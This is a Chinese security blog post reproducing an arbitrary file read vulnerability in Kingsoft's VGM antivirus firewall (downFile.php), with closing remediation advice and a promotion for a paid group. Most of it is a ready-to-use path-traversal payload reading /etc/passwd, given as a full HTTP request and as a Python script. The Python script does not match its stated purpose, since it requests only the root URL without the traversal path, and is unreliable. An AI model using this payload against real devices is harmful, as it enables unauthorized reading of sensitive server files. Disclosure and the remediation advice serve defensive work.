团队声明
该漏洞为我团队漏洞监测平台发现,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞概述
金山 VGM防毒墙由金山安全自主研发推出的新一代专业化安全网关产品。采用、多核硬件架构和独特的模块化功能设计理念,金山 VGM防毒墙具有的高性能、高安全、易操作等特性,真正满足用户不断变化的信息安全需求。灵活稳定的架构,金山 VGM防毒墙集成了网络防火墙、状态监测、抗DDoS、防恶意软件、URL过滤、DPI监测等多种安全功能,有效抵御各类病毒和恶意软件对用户网络和业务系统的破坏。
金山 VGM防毒墙 downFile.php文件存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器任意文件。
影响版本
金山 VGM防毒墙
网络测绘
登录页面
验证POC
/downFile.php?filename=../../../../etc/passwd
Payload
GET /downFile.php?filename=../../../../etc/passwd HTTP/1.1
Host: IP
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
或是通过Python
import requests
# 定义请求头部信息
headers = {
"Host": "IP",
"Sec-Ch-Ua": '"Chromium";v="113", "Not-A.Brand";v="24"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"macOS"',
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
# 发送GET请求
url = "http://IP/"
response = requests.get(url, headers=headers)
# 输出响应内容
print(response.text)
整改意见
①配置文件限制:在配置文件中,您可以设置访问限制的基准,例如在PHP的php.ini中配置open_basedir。这个设置将定义允许脚本访问的文件目录范围,从而有效地隔离脚本的运行环境,防止访问敏感文件或目录。
②特殊字符过滤:确保用户输入的安全性,通过检查并过滤或转义特殊字符,如 "../"、".."、"%00"、"..", "./", "#"等,以防止目录遍历攻击或字符注入漏洞。这可以通过使用字符串处理函数或正则表达式来实现。
③合法性验证:进行严格的输入验证,包括但不限于检查文件类型、文件路径、文件内容等。这可以通过使用合适的输入验证库或自定义的验证函数来实现,确保用户提供的数据符合预期的格式和内容。
④白名单控制:建立一个白名单,明确定义允许访问的文件路径、文件名和文件后缀。只有在白名单上的文件才允许被访问,从而限制了攻击者的潜在入口点。
通过这些安全措施,您可以有效地提高您的应用程序的安全性,减少了潜在的攻击威胁。在应用程序开发中,安全性应该始终是一项重要的考虑因素。
加入星球
加入星球限时优惠,现在价格¥199.00赠送¥109.00的书一本。星球中我们将提供更多漏洞的复现以及工具。
推荐书籍
2024 CentOS7系统即将要停更了,Rocky Linux是我们最好的选择!
关注我们
原文始发于微信公众号(小白嘿课):【严重】金山 VGM防毒墙 downFile.php 任意文件读取漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论